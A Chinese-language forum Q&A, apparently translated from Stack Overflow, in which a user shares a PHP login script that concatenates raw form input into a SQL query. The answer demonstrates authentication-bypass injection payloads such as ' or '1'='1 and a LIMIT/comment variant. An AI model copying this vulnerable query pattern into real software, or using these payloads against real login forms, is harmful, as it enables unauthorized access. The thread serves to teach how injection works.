PHP MySQL injection example?
本问题已经有最佳答案,请猛点这里访问。
我想在登录示例中使用php/mysql注入,我的代码如下。
我试过使用
有人能帮我吗?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | <?php mysql_connect('localhost','root','root'); mysql_select_db('hp'); ?> <form action="" method="post"> <table width="50%"> <tr> <td>User</td> <td><input type="text" name="user"></td> </tr> <tr> <td></td> <td><input type="text" name="password"></td> </tr> </table> <input type="submit" value="OK" name="s"> </form> <?php if($_POST['s']){ $user = $_POST['user']; $pass = $_POST['password']; $re = mysql_query("select * from zend_adminlist where user_name = '$user' and password = '$pass'"); if(mysql_num_rows($re) == 0){ echo '0'; }else{ echo '1'; } } ?> |
最常见的例子之一是这个查询:
1 | ' or '1'='1 |
如果您将此作为用户名和密码输入到某些未初始化的登录中,则查询会发生如下更改:
1 2 | Original: SELECT * FROM USERS WHERE USER='' AND PASS=''; Modified: SELECT * FROM USERS WHERE USER='' or '1'='1' AND PASS='' or '1'='1'; |
这使得它所寻找的每件事都是真的,因为1总是等于1。这个方法的问题在于它不允许选择特定的用户。这样做,您需要让它忽略和语句,就像在其他示例中看到的那样对其进行注释。
如果用户名的值为:
1 | $_POST['user'] ="1' OR 1 LIMIT 1; --"; |
然后mysql查询变为:
1 2 3 | select * from zend_adminlist where user_name = '1' OR 1 LIMIT 1; --' and password = '$pass' |